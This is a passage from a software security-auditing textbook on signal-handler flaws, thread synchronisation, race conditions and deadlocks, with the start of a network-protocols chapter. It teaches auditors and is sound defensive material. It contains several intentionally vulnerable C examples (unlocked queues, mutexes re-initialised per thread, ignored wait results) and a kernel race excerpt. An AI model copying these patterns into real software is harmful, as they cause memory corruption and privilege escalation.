= 0; goto out; } Upon receipt of a SIGURG signal (which can be delivered by sending a TCP segment with the URG flag set in the TCP header), some data is read. If it's ABOR\r\n, the process calls longjmp() to go back to another part of the program, which eventually goes back to the main processing loop for receiving FTP commands. It's possible for a SIGPIPE to occur while handling the data connection, and then be interrupted after it has set the effective user ID to 0 but before it calls exit() by a SIGURG signal. In this case, the program returns to the main processing loop with an effective user ID of 0, thus allowing users to modify files with root privileges. Another problem with signal handlers that use longjmp() to return back into the program is a situation where the jump target is invalid. For setjmp() and sigsetjmp() to work correctly, the function that calls them must still be on the runtime execution stack at any point where longjmp() or siglongjmp() is called from. This is a requirement because state restoration performed by longjmp() is achieved by restoring the stack pointer and frame pointer to the values they had when setjmp() was invoked. So, if the original function has since terminated, the stack pointer and frame pointer restored by longjmp() point to undefined data on the stack. Therefore, if a longjmp() can be activated at any point after the function that calls setjmp() has The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 817 returned, the possibility for exploitation exists. Take a look at a modified version of the process_message() example used earlier in this section: jmp_buf env; void pipe_handler(int signo) { longjmp(env); } int process_message(int sock) { struct pkt_header header; int err = ERR_NONE; if(setjmp(env) != 0) { log("user disconnected!"); err = ERR_DISCONNECTED; goto cleanup; } signal(SIGPIPE, pipe_handler); for(;;) { if(read_packet_header(sock, &header)) < 0) return ERR_BAD_HEADER; switch(header.type) { case USER: parse_username_request(sock); break; case PASS: parse_password_request(sock); break; case OPEN: parse_openfile_request(sock); break; case QUIT parse_quit_request(sock); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 818 goto cleanup; default: log("invalid message"); break; } } cleanup: signal(SIGPIPE, SIG_DFL); return err; } In this example, longjmp() is called when a SIGPIPE is received, which you can safely assume that users are able to generate in any parsing functions for the different commands, as the program might be required to write some data back to the client. However, this code has a subtle error: If read_packet_header() returns less than 0, the SIGPIPE handler is never removed, and process_message() returns. So, if a SIGPIPE is delivered to the application later, pipe_handler() calls longjmp(), which returns to the process_message() function. Because process_message() is no longer on the call stack, the stack and frame pointers point to stack space used by some other part of the program, and memory corruption most likely occurs. To summarize, signal handlers with longjmp() calls require special attention when auditing code for the following reasons:  The signal handler doesn't return, so it's highly unlikely that it will be asynchronous-safe unless it exits immediately.  It might be possible to find a code path where the function that did the setjmp() returns, but the signal handler with the longjmp() isn't removed.  The signal mask might have changed, which could be an issue if sigsetjmp() and siglongjmp() aren't used. If they are, does restoring the old signal mask cause problems as well?  Permissions might have changed (as in the WU-FTPD example).  Program state might have changed such that the state of variables that are valid when setjmp() is originally called but not necessarily when longjmp() is called. Signal Interruption and Repetition The bug presented in WU-FTPD introduces an interesting concept: The signal handler itself can also be interrupted, or it can be called more than once. An interesting paper by Michael Zalewski, "Delivering Signals for Fun and Profit," describes these two The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 819 related attacks (available at www.bindview.com/Services/Razor/Papers/2001/signals.cfm). Sometimes developers will construct signal handlers with the expectation that they are only executed once, or not at all. If a signal handler may be invoked more than once due to the delivery of multiple signals, the handler may inadvertently perform an operation multiple times that is really only safe to perform once. As an example, consider the cleanup() function presented in Listing 13-1 at the beginning of this section; it can be invoked by the delivery of either a SIGTERM or a SIGINT signal. As such, it would be possible to deliver a SIGTERM signal to the process followed rapidly by a SIGINT signal, and thus have it execute multiple times, resulting in deallocating the user variable more than once. When you're auditing instances of sigaction(), note that the combination of the SA_ONESHOT and SA_RESETHAND flags indicate that the signal handler is used only once, and then the default action for that signal is restored. Note The signal() function behaves a little differently in Linux than it does on BSD systems; when a signal handler is installed with the signal() function in Linux, after the signal is triggered once, the default action is restored for that signal. Conversely, BSD systems leave the signal handler defined by the user in place until it's explicitly removed. So the program behaves a little differently depending on whether it runs on Linux or BSD, which might determine whether a signal handler is vulnerable to attacks such as those detailed previously. The second problem that can arise is that a signal handler itself can be interrupted by another signal, which might cause problems if the signal handler isn't asynchronous-safe. A signal handler can be interrupted only if a signal is delivered to the process that's not blocked. Typically, a process blocks signals by using the sigprocmask() function (except for SIGKILL and SIGSTOP, which can't be caught or blocked). With this function, developers can define a set of signals in the form of a sigset_t argument that describes all signals that should be blocked while the handler is running. If a process receives a signal while it's blocked, the kernel makes a note of the signal and delivers it to the process after it's unblocked. In addition, when a signal handler is running, certain signals can be implicitly blocked, which might affect whether a signal handler can be interrupted. In a signal handler installed with signal(), the signal the handler catches is blocked for the period of time the signal handler is running. So, for example, a signal handler installed to handle SIGINT can't be interrupted by the delivery of another SIGINT while it's running. This is also the case with sigaction(), except when the SA_NODEFER flag is supplied in the sa_flags member of the sigaction structure. The sigaction() function also enables The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 820 developers to supply additional signals that are blocked for the duration of the signal-handling routine by supplying them in the sa_mask field of the sigaction structure. Therefore, when you're evaluating whether a signal can be interrupted by another signal, you need to establish what the process's signal mask is when the handler is running. It's quite common for signal handlers to be interruptible by other signals; for example, a SIGINT handler might be interrupted by a SIGALRM signal. Again returning to our cleanup() example from Listing 13-1, you would be able to interrupt the handler that has caught SIGINT by sending a SIGTERM at the appropriate time, thus having the cleanup() function interrupt itself because it's the handler for both. One nasty problem that tends to catch developers off-guard is the use of library functions within a signal handler. In "Delivering Signals for Fun and Profit," Zalewski talks about libc functions that are and are not asynchronous-safe. The complete list of functions guaranteed to be asynchronous-safe by POSIX standards is shown (taken from the OpenBSD signal(3) man page): Base Interfaces: _exit(), access(), alarm(), cfgetispeed(), cfgetospeed(), cfsetispeed(), cfsetospeed(), chdir(), chmod(), chown(), close(), creat(), dup(), dup2(), execle(), execve(), fcntl(), fork(), fpathconf(), fstat(), fsync(), getegid(), geteuid(), getgid(), getgroups(), getpgrp(), getpid(), getppid(), getuid(), kill(), link(), lseek(), mkdir(), mkfifo(), open(), pathconf(), pause(), pipe(), raise(), read(), rename(), rmdir(), setgid(), setpgid(), setsid(), setuid(), sigaction(), sigaddset(), sigdelset(), sigemptyset(), sigfillset(), sigismember(), signal(), sigpending(), sigprocmask(), sigsuspend(), sleep(), stat(), sysconf(), tcdrain(), tcflow(), tcflush(), tcgetattr(), tcgetpgrp(), tcsendbreak(), tcsetattr(), tcsetpgrp(), time(), times(), umask(), uname(), unlink(), utime(), wait(), waitpid(), write() Real-time Interfaces: aio_error(), clock_gettime(), sigpause(), timer_getoverrun(), aio_return(), fdatasync(), sigqueue(), timer_gettime(), aio_suspend(), sem_post(), sigset(), timer_settime() ANSI C Interfaces: strcpy(), strcat(), strncpy(), strncat(), and perhaps The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 821 some others Extension Interfaces: strlcpy(), strlcat(), syslog_r() Everything else is considered not safe. Notice the lack of some commonly used functions in this list: syslog(), malloc(), free(), and the printf() functions. Signal handlers that use any functions not listed here are potentially at risk. Exactly what level of risk they are exposed to depends on the function they use and its implementation specifics; a signal handler that interrupts a malloc() or free() and then calls malloc() or free() is at risk of corrupting the heap because it might be in an inconsistent state when the signal handler is called. Many of the functions not included in the safe list use these heap functions internally. Although functions manipulating the system heap might initially appear to be the most major concern, it's much less of a problem than it used to be. Many libc implementations now contain some sort of concurrency controls over the system heap that prevent more than one heap function from being entered at a time. Still, a signal handler that uses the heap in an unsafe manner should be flagged, as you can't assume the system will handle concurrency correctly, especially when you don't know what system the software is running on. Signals Scoreboard A signal function contains the special property that it can run at any time from installation to removal, so you need to give signal handlers special attention. The procedure for auditing a signal-handling function involves an extra step on top of the standard code-auditing practices you have already learned in this book. Specifically, you need to assess whether the signal function is asynchronous-safe. As you have learned, asynchronous-safe isn't quite the same as thread safe. In fact, sometimes thread APIs aren't asynchronous-safe; for example, in PThreads, the use of a mutex data type in a signal handler can cause the program to become deadlocked! When examining a signal handler, therefore, you might find it helpful to record some basic statistics on your analysis of the function, as shown in Table 13-3. These logs are similar to the Synchronization Scoreboards introduced earlier in this chapter. Table 13-3. Signal Handler Scoreboard Function name Alrmhandler Location src/util.c, line 140 Signal SIGALRM The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 822 Table 13-3. Signal Handler Scoreboard Function name Alrmhandler Installed src/main.c, line 380 Removed Never Unsafe library functions used malloc(), free(), syslog() Notes This function is used to handle a network timeout from reading data. By default, it occurs after three minutes of inactivity. Interesting if you can interrupt read_data() in src/net.c, particularly when the buffer length is updated but before the buffer has been reallocated. When you're determining the risk level associated with a signal handler running at a certain time, you should user your scoreboard to help identify any issues. First, attempt to locate non-reentrant functions called while the signal handler is installed. This means finding functions that have static variables or that modify global variables or resources without any sort of locking mechanisms. Next, you should look for signal handlers using the longjmp() and siglongjmp() functions. They cause the signal handler to never return and practically guarantee that the signal handler is not asynchronous-safe unless it jumps to a location that immediately exits. Also, remember the point from the "Jump Locations" section earlier in this chapter: When setjmp() is returned to from a longjmp(), the context of the process might be much different than it was when the function containing the setjmp() was originally called. Stack variable values might have changed, and global variables and shared resources are likely to have changed. However, it's quite easy for developers to make assumptions about the state of a variable based on conditions when the function was originally called. When you encounter a signal handler that uses the *jmp() functions, it's definitely worth noting and attempting to verify whether any of the five conditions listed in the "Signal Vulnerabilities" section can result in a vulnerability in the program. 7.9.5 Threads Multithreaded programs also suffer from reentrancy problems in much the same way as signal handlers and processes dealing with global resources, but to a larger extent. Code in a multithreaded application can be interrupted at any point, so it needs to be coded carefully to avoid race and deadlock conditions. Bugs in software related to thread races are often subtle and hard to debug because the program seems to work The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 823 fine most of the time, but one out of every hundred tries or so, it behaves differently. Often these bugs can turn out to be security problems because the race condition might result in memory corruption or other equally undesirable program behavior. In multithreaded environments, you might question how much of a security problem synchronization issues are. After all, with signals, attackers can try to send well-timed signals specifically to trigger a bug, but what about threads? The truth is that attackers may or may not be able to influence the program enough to trigger a threading error; it depends on what the program does. Usually, however, it's safe to assume attackers can trigger it or give the program such a heavy workload that it's likely to be triggered. After the error occurs, they can probably cause enough damage to bring the program down or have it violate security policies in some way. OS Thread APIs contain functionality for developers to create programs that can safely execute concurrent threads of execution in the same address space. Both Windows and UNIX provide robust threading APIs with similar semantics and potential for multithreaded programming issues. As such, both APIs are covered in examples throughout this section. Before you examine the examples, the following sections introduce you to these APIs. Note There are multiple threading interfaces for UNIX environments, the primary one being PThreads (POSIX threads), which is what's used in this section. PThreads API The PThreads API enables developers to design thread-safe code that avoids race conditions by defining two data types that can be used as synchronization objects: mutexes and condition variables. Mutexes in PThreads A mutex in PThreads is similar in principle to the mutexes in Windows, except it isn't globally visible. It's used to ensure that a shared resource is being operated on by only one thread at a time. Note Actually, a PThreads mutex is more like a critical section provided by Windows (covered in "Windows API" later in this chapter). The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 824 The PThreads API provides a mutex data type (pthread_mutex_t) for controlling access to code that isn't allowed to be interrupted by other threads, commonly referred to as "critical sections." The pthread_mutex_t type is manipulated with the functions described in the following paragraphs. The pthread_mutex_init() function initializes a mutex data type: int pthread_mutex_init(pthread_mutex_t *mutex, const pthread_mutex_attr_t *attr) The attr parameter specifies attributes that can modify the mutex's behavior. These attributes aren't covered in this chapter because they aren't relevant to the issues discussed. This function must be called before a mutex is used. Note Instead of calling the pthread_mutex_init() function, a developer can just initialize the mutex with default values manually, typically with the constant PTHREAD_MUTEX_INITIALIZER. A variation of PThreads for Linux, called LinuxThreads, has two other initializers: PTHREAD_RECURSIVE_INTIALIZER_NP and PTHREAD_ERRORCHECK_MUTEX_NP, which initialize the mutex with different attributes. The following function is used to lock the mutex: int pthread_mutex_lock(pthread_mutex_t *mutex) If the mutex is already locked, the thread calling this function goes to sleep until the lock is released. The pthread_mutex_trylock() function is identical to pthread_mutex_lock(), except it returns immediately to the caller with an error if the mutex is already locked: int pthread_mutex_trylock(pthread_mutex_t *mutex) The following function unlocks a mutex that was locked with pthread_mutex_lock() or pthread_mutex_unlock(): int pthread_mutex_unlock(pthread_mutex_t *mutex) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 825 The following function destroys a mutex; it's called after the program no longer needs the mutex: int pthread_mutex_destroy(pthread_mutex_t *mutex) Condition Variables PThreads provides another synchronization object, the condition variable (pthread_cond_t), which is used to indicate to waiting threads that a certain condition has been met. In this respect, condition variables are similar to a localized version of the Windows events (localized because condition variables aren't globally accessible). The functions for manipulating a condition variable are described in the following paragraphs. The pthread_cond_init() function is used for initializing a condition variable before use: int pthread_cond_init(pthread_cond_t *cond, pthread_condattr_t *attr); The attr parameter supplies optional parameters that can modify the condition variable's behavior. They aren't relevant to this discussion, so for more information, consult the PThreads documentation. Note Like pthread_mutex_init(), a developer can choose to initialize a condition variable with default attributes instead of calling this function, typically with the PTHREAD_COND_INITIALIZER constant. The following function is used to wake up a thread waiting on a condition variable: int pthread_cond_signal(pthread_cond_t *cond) If multiple variables are waiting on the condition, only one of the threads is awakened, which is similar to how auto-reset events function in Windows. The pthread_cond_broadcast() function acts like pthread_cond_signal(), except it wakes up all threads waiting on a condition variable, not just one: int pthread_cond_broadcast(pthread_cond_t *cond) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 826 This behavior is similar to how manual-reset events function in Windows. The pthread_cond_wait() function is used to wait on a condition variable: int pthread_cond_wait(pthread_cond_t *cond, pthread_mutex_t *mutex) The mutex specified by the second argument is atomically unlocked for the duration of time the thread is blocking during the wait on the condition variable. After the condition variable is signaled, this function relocks the mutex before returning. The following function basically the same as pthread_cond_wait(), except it waits only the amount of time indicated by the abstime parameter: [View full width](? [????.]) int pthread_cond_timedwait(pthread_cond_t *cond, pthread_mutex_t *mutex, const struct timespec *abstime) The pthread_cond_destroy() function simply destroys the specified condition variable: int pthread_cond_destroy(pthread_cond_t *cond) Windows API The Windows API for thread synchronization is a little more complicated than PThreads. The Windows API provides a broad range of synchronization objects that a multithreaded process can use to ensure that shared resources are accessed safely. You've already seen most of these objects in the "Windows IPC Synchronization Objects" section earlier in this chapter. However, there are a few thread-specific synchronization primitives, the most important of which being critical section, which will be discussed here. Note Even though the IPC objects were introduced as interprocess synchronization objects, they can be used to synchronize threads, so the previous material on using those objects also applies to a single multithreaded process. Critical Sections The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 827 A critical section (declared in code as CRITICAL_SECTION data type) can be used to provide mutually exclusive access to a shared resource by acting as a locking mechanism in the same way a mutex object does. Like a mutex, a critical section has a binary statelocked or unlockedand can be locked by only one thread at a time. The key differences between a mutex object and a critical section is that a critical section can be accessed only by threads of a single process; they are never globally visible or accessible. This is because a critical section isn't a true Windows object; it's simply a data structure that creates a Windows synchronization primitive if necessary. Being a local data structure makes it faster than a mutex and explains why it can be used only between threads in the same process. Therefore, critical sections don't use the wait functions discussed earlier. Instead, the functions described in the following paragraphs are used for manipulating a critical section. The following function populates the CRITICAL_SECTION data structure; it must be called before any use of the CRITICAL_SECTION: void InitializeCriticalSection( LPCRITICAL_SECTION lpCriticalSection) The following function initializes a CRITICAL_SECTION as well as setting the spin count: BOOL InitializeCriticalSectionAndSpinCount( LPCRITICAL_SECTION lpCriticalSection, DWORD dwSpinCount) The spin count affects performance but not synchronization, so it's irrelevant to this discussion. The following function acquires the lock for a CRITICAL_SECTION data structure: void EnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection) If the lock is owned by another thread, calling this function causes this thread to block until the lock is available. This means the owning thread doesn't block on a call to this function. However, every call to EnterCriticalSection() must be paired with a call to LeaveCriticalSection(); otherwise, the critical section remains locked and deadlock can occur. This function is equivalent to the pthread_mutex_lock() function from the PThreads API. The following function attempts to obtain the lock for the specified CRITICAL_SECTION data structure: BOOL TryEnterCriticalSection( The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 828 LPCRITICAL_SECTION lpCriticalSection) If it's unlocked, this function locks it and returns successfully; otherwise, it returns FALSE. Calling this function doesn't cause the calling thread to block, as EnterCriticalSection() does. Like EnterCriticalSection(), every successful acquiring of a critical section must have a corresponding call to LeaveCriticalSection(); otherwise, deadlock can occur. This function is similar to the pthread_mutex_trylock() function in the PThreads API. The LeaveCriticalSection() function unlocks the given CRITICAL_SECTION data structure: void LeaveCriticalSection(LPCRITICAL_SECTION lpCriticalSection) Any other threads waiting on the critical section are awakened so that one of them can take ownership of it. The following function deletes a critical section and releases any associated memory and kernel objects: void DeleteCriticalSection(LPCRITICAL_SECTION lpCriticalSection) Threading Vulnerabilities Now that you're familiar with the threading models available in UNIX and Windows, you can begin to look at practical examples of the synchronization problems discussed at the beginning of this chapter. Basically, threading issues are caused by incorrect use of synchronization objects. With race conditions, it's usually because some code that operates on a shared resource isn't correctly synchronized. For deadlock and starvation issues, it's usually because locking devices are used improperly. Note that you can approach auditing threading vulnerabilities in a similar fashion to auditing IPC synchronization objects. That is, you can construct a scoreboard noting the use of the locking mechanisms and keep notes of potentially dangerous situations. Race Conditions As stated previously, a race condition occurs when the successful outcome of an operation depends on whether the threads are scheduled for running in a certain order. Neglecting to use mutexes or semaphores in appropriate places causes race The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 829 conditions because you can't guarantee a thread won't be interrupted in the middle of modifying or accessing a shared resource. Auditing code to find potential vulnerabilities of this nature is a three-step process: 1. Identify shared resources that are acted on by multiple threads. 2. Determine whether the appropriate locking mechanism has been selected. 3. Examine the code that modifies this resource to see whether appropriate locking mechanisms have been neglected or misused. Although this process sounds straightforward, it's often trickier than it seems because of the complexity of multithreaded programming. For this reason, the following sections explain in more detail how to perform each step in a systematic fashion. Identify Shared Resources This step is probably the easiest. Any thread synchronization objects are used for one primary reason: threads must access resources atomically. To identify the shared resources being operated on, you simply need to read the code and note accesses to global variables and any objects that aren't local to the thread or process, such as a HANDLE to a global object. Usually, these accesses stand out because the point of worker threads is to operate on a resource. For example, a multithreaded server process might consist of one thread accepting connections from remote nodes and adding received requests to a queue. Then another set of threads takes objects from that queue and processes them on behalf of the client. In this case, the shared resource is obviously the queue where requests are being added to and taken from. Ensure That Appropriate Locking Mechanisms Are Used There's no point in using a synchronization object if it's not appropriate for the shared resource that needs to be protected. Therefore, you must evaluate the developers' choice of synchronization primitive so that you can determine whether it meets the intended requirements. Here are some common reasons for providing synchronization for a resource:  A resource can be operated on by only one thread at a time, no matter what it's doing. Generally, a mutex or critical section is necessary.  A resource can be read from by multiple threads. In this case, a semaphore might be most appropriate.  A queue resource has multiple threads adding to it and removing elements from it. In this case, a mutex or critical section seems most appropriate The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 830 because every thread is actually writing to the queue by unlinking elements from it or linking elements to it. Obviously, these three reasons are simple guidelines and aren't true for all situations. For instance, this list doesn't consider the need for signaling consumer threads that data is available. Because these requirements can vary so much, you need to be careful to evaluate the locking mechanisms developers select. This evaluation requires understanding the purpose the locking mechanism is supposed to serve and attempting to locate situations in which the mechanism might not behave as intended. Examine Accesses to the Object The whole point of locking mechanisms is to allow an object to be modified in an atomic fashion. A race condition can occur when locking mechanisms aren't used in correctly when accessing shared resources or aren't used at all. The most obvious race conditions happen when no locking objects are used, as shown in the following code: struct element *queue; int fd; void *job_task(void *arg) { struct element *elem; struct timespec ts; ts.tv_sec = 1; ts.tv_nsec = 0; for(;;) { if(queue == NULL) { nanosleep(&ts, NULL); continue; } elem = queue; queue = queue->next; .. process element .. } return NULL; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 831 } void *network_task(void *arg) { struct element *elem, *tmp; struct request *req; for(;;) { req = read_request(fd); if(req == NULL) // bad request continue; elem = request_to_job_element(req); free(req); if(elem == NULL) continue; if(queue == NULL) queue = elem; else { for(tmp = queue; tmp->next; tmp = tmp->next) ; tmp->next = elem; } } return NULL; } Imagine you have a program containing multiple threads: one thread running the network_task() function and multiple threads running the job_task() function. Because there are no locks around any code that acts on the queue variable, it's possible that a thread can operate on queue when it's in an inconsistent state because the previously running thread was interrupted while operating on queue. Furthermore, when the previous thread commences running again, it might have outdated data in local variables, such as pointers to elements that have been dequeued and processed by another thread already. In reality, this kind of blatant failure to use locking mechanisms is quite rare. You'll probably encounter it only in code that was previously developed for a single-threaded application and migrated to a multithreaded application without careful review of all the components. You might The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 832 also run into this problem when code is imported from a library that wasn't developed for a multithreaded environment, such as a single-threaded Java library that's later incorporated into a multithreaded Java servlet. Sometimes locks are instantiated correctly but used incorrectly, which can also result in race conditions. Here's a modified version of the previous example: struct element *queue; pthread_mutex_t queue_lock; pthread_cond_t queue_cond; int fd; void *job_task(void *arg) { struct element *elem; pthread_mutex_init(&queue_lock, NULL); for(;;) { pthread_mutex_lock(&queue_lock); if(queue == NULL) pthread_cond_wait(&queue_cond, &queue_lock); elem = queue; queue = queue->next; pthread_mutex_unlock(&queue_lock); .. process element .. } return NULL; } void *network_task(void *arg) { struct element *elem, *tmp; struct request *req; pthread_mutex_init(&queue_lock, NULL); for(;;) { The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 833 req = read_request(fd); if(req == NULL) // bad request continue; elem = request_to_job_element(req); free(req); if(elem == NULL) continue; pthread_mutex_lock(&queue_lock); if(queue == NULL) { queue = elem; pthread_cond_broadcast(&queue_cond); } else { for(tmp = queue; tmp->next; tmp = tmp->next) ; tmp->next = elem; } pthread_mutex_unlock(&queue_lock); } } This example uses more locking mechanisms to ensure that the queue is accessed by only one thread, but there's still a problem: Each thread reinitializes queue_lock by calling pthread_mutex_init(). In effect, this allows multiple threads to obtain multiple locks, so it's not guaranteed that each thread can operate on the queue in an atomic fashion. After you've determined that locks are used and the correct synchronization object is in place, you can begin to examine code that accesses a shared resource. This process involves ensuring that a lock is acquired for the synchronization primitive before accessing the resource, and then the primitive is signaled after the operation has been completed. This second point is worth keeping in mind because a code path could exist in which a synchronization primitive is never unlocked. This code path invariably leads to deadlock, discussed in the next section. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 834 Paul Starzets, a security researcher with iSec, discovered a major race condition vulnerability in the Linux kernel's sys_uselib() system call. (Remember that kernels are multithreaded, too.) Starzets pointed out that the sys_brk() function is required to hold a semaphore lock specific to a process memory descriptor list (called mmap_sem) because it adds an element to the structure by using vma_link(). However, in the load_elf_binary() function that sys_uselib() uses, this semaphore is released before sys_brk() is called, as shown in Listing 13-3. The down_write() function is used to wait on a lock, and the up_write() function is used to release it. Listing 13-3. Race Condition in the Linux Kernel's Uselib() static int load_elf_library(struct file *file) { down_write(&current->mm->mmap_sem); error = do_mmap(file, ELF_PAGESTART(elf_phdata->p_vaddr), (elf_phdata->p_filesz + ELF_PAGEOFFSET(elf_phdata->p_vaddr)), PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_DENYWRITE, (elf_phdata->p_offset - ELF_PAGEOFFSET(elf_phdata->p_vaddr))); up_write(&current->mm->mmap_sem); if (error != ELF_PAGESTART(elf_phdata->p_vaddr)) goto out_free_ph; elf_bss = elf_phdata->p_vaddr + elf_phdata->p_filesz; padzero(elf_bss); len = ELF_PAGESTART(elf_phdata->p_filesz + elf_phdata->p_vaddr + ELF_MIN_ALIGN - 1); bss = elf_phdata->p_memsz + elf_phdata->p_vaddr; if (bss > len) do_brk(len, bss - len); Using some inventive exploitation techniques, Starzets demonstrated how to leverag this bug for root access on a vulnerable system. You can find more information on this vulnerability at www.isec.pl/vulnerabilities/isec-0021-uselib.txt. Return value checking is another important part of ensuring that a program is thread safe. Of course, checking return values is always important in preventing vulnerabilities, multithreaded or not, but this guideline especially applies to multithreaded programming. One interesting variation on thread race conditions is a The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 835 failure to correctly check return values to make sure the API is functioning as expected. Take a look at the following code: DWORD processJob(LPVOID arg) { struct element *elem; for(;;) { WaitForSingleObject(hMutex, MAX_TIME); if(queue == NULL) WaitForSingleObject(queueEvent, MAX_TIME); elem = queue; queue = queue->next; ReleaseMutex(hMutex); .. process element .. } return 0; } Assume the processJob() function is run by multiple threads, as in the previous examples. Notice that the WaitForSingleObject() function's return value is ignored in both instances it's called. As you have seen previously, this function can return for a number of reasons, including when the maximum time limit to wait has been exceeded. Therefore, if MAX_TIME elapses before the mutex is released, this function could begin operating on queue when it doesn't actually own the mutex, or it operates on queue when the queueEvent object hasn't been signaled. Deadlocks and Starvation Starvation and deadlock cause a task to never be completed because a thread can never be scheduled for execution. The "Windows IPC Synchronization Objects" section included an example of a deadlock that resulted from waiting on an event object while maintaining ownership of a mutex object. This prevented another thread from signaling the necessary event. Deadlocks can be addressed in the Win32 API by using the WaitForMultipleObjects() function to wait for an entire set of synchronization objects to become signaled. However, this approach might create its own issues and result in starvation. These situations are hard to evaluate when The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 836 auditing code; however, you should note if bWaitAll is set to true, and the number of objects is quite large. You also need to consider situations in which it's impossible or nearly impossible to have all objects that are being waited on signaled. Deadlocks also happen in UNIX threaded programs. In PThreads, deadlocks are more likely to occur from the use of multiple mutexes, as shown in this simple example: struct interface *interfaces[MAX_INTERFACES]; int packet_process(int num) { struct interface *in = interfaces[num]; struct packet *pkt; for(;;) { pthread_mutex_lock(in->lock); pthread_cond_wait(in->cond_arrived, in->lock); pkt = dequeue_packet(in); if(needs_forwarding(pkt)) { int destnum; struct interface *dest; destnum = find_dest_interface(pkt); dest = interfaces[destnum]; pthread_mutex_lock(dest->lock); enqueue_packet(pkt, dest); pthread_mutex_unlock(dest->lock); in->stats[FORWARDED]++; pthread_mutex_unlock(in->lock); continue; } pthread_mutex_unlock(in->lock); .. process packet .. } The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 837 } This example shows a classic deadlock situation: Two locks can be held by a single thread, and another thread can acquire the same locks in a different order. In this example, there's a thread for each network interface to handle dequeuing and dealing with arriving packets. If the packet needs to be forwarded, it's added to another queue. There's the potential, however, for two competing threads to cause a deadlock in this code. The following sequence of events describes how deadlock might occur: 1. Thread #1 locks interface[1] and dequeues a packet. 2. Thread #2 interrupts, locks interface[2], and dequeues a packet. 3. Thread #2 identifies a packet destined for interface[1], so pthread_mutex_lock(dest->lock) puts thread #2 to sleep because thread #1 holds the lock. 4. Thread #1 regains the processor. It realizes it needs to forward a packet to interface[2], so pthread_mutex_lock(dest->lock) puts thread #1 to sleep because thread #2 holds the lock. Now both threads are unable to do anything because they are waiting on each other to release a lock to continue their work. When auditing code for deadlocks, you need to evaluate whether multiple primitives are locked and held simultaneously by more than one thread. Then you must consider whether those threads can lock primitives in a different order to create a condition like the one in the previous example. Most threading mechanisms include timed waiting functions or use functions that return immediately if a lock is unavailable, which might mitigate the threat of deadlocks. However, a timeout that results in terminating the program might be noteworthy as a denial of service in itself, particularly if the service doesn't restart. 7.9.6 Summary A lot of complexity is introduced when a program can share resources among concurrent threads or processes. Serious issues can occur when an application fails to handle concurrent access to shared resources. This failure can result in execution entities interfering with each other and ultimately corrupting the program to the point of a successful compromiseeither by exploitation for elevated privileges or bringing the program to a grinding halt. You've examined problems in dealing with multiple execution instances simultaneously operating on shared resources, including issues with process and thread synchronization, and signal handling in UNIX environments. Identifying these issues can be extremely difficult and requires detailed analysis of the application's concurrent programming elements. However, you should now be familiar with the The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 838 techniques necessary to perform a thorough and effective assessment of vulnerabilities that occur due to synchronization issues. 8. Part III: Software Vulnerabilities in Practice Part III: Software Vulnerabilities in Practice 8.1 Chapter 14. Network Protocols "And again, the internet is not something you just dump something on. It's not a truck. It's a series of tubes." 8.1.1 Introduction The majority of network-aware computer software leverages the functionality of the TCP/IP protocol stack through high-level interfaces, such as BSD sockets, or frameworks such as Distributed Component Object Model (DCOM). Some software, however, has to work with network data at a lower levela world populated by segments, frames, packets, fragments, and checksums. Looking for security vulnerabilities in lower-level network software is challenging and captivating work. Networking code is a vast topic that can't be covered adequately in one chapter. Therefore, this chapter covers the basics, and then offers the authors' thoughts and experiences, which should prove useful if you're charged with a related auditing project. This chapter focuses on three of the core Internet protocols: IP, UDP, and TCP. Throughout the discussion, you learn about security issues that tend to plague software that implements these protocols. Chapter 15(? [????.]), "Firewalls," covers firewall technology, which works closely with these protocols. Finally, Chapter 16(? [????.]), "Network Application Protocols," discusses some popular application-layer protocols and security issues that tend to surface in the code that implements them. Note that the discussion in this chapter is specific to IP version 4the current standard for Internet communications. IP version 6, IPv4's successor, is not covered in this chapter. In the course of reviewing certain software, an auditor might have to examine code that deals with low-level network traffic. This processing could include analyzing The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 839 packets or frames taken directly from the network as well as modifying or fabricating packets and placing them directly on the network. This discussion focuses on software systems that implement the TCP/IP networking protocols and on systems that analyze and intercept network traffic, as they tend to be more security critical devices in a network. Your most common projects involving TCP/IP protocol implementations will most likely be one of the four following product types:  TCP/IP stacks residing on end hosts The TCP/IP stack is the centerpiece of data exchange between two or more hosts on an IP network. Typically located in an OS kernel, the IP stack hides details of network state and data delivery from user applications. Applications are given a clean and simple interface so that they don't need code to deal with network problems, retransmissions, error message processing, and the like.  Products that provide routing, Network Address Translation (NAT), or load-balancing services Multihomed hosts might be required to route data between their interfaces as dictated by a static set of simple routing rules, or a dynamic rule set that's continuously updated through the use of routing protocols. This routing functionality is really an extension of the basic IP stack, and most end hosts can be configured to act as a router. Naturally, dedicated routing products are often much more complicated. In addition to routers, load-balancing products are charged with dividing incoming data for a host between a number of end hosts, thus enabling requests to a single host to be served in parallel and speeding up access time to clients for high-volume servers.  Security products: firewalls and intrusion detection/prevention systems A number of security products are required to analyze packets traversing networks that they are protecting. These products make decisions based on attributes of the packets or the data in them. Often attackers will attempt to exploit subtle flaws caused by differences between how the security product evaluates the packets and how the end host evaluates those same packets.  Network-monitoring products Several tools passively listen on a network and interpret the contents of packets being transmitted. They are often used for diagnosing network issues or for administrators to get a better idea of the kind of data sent over 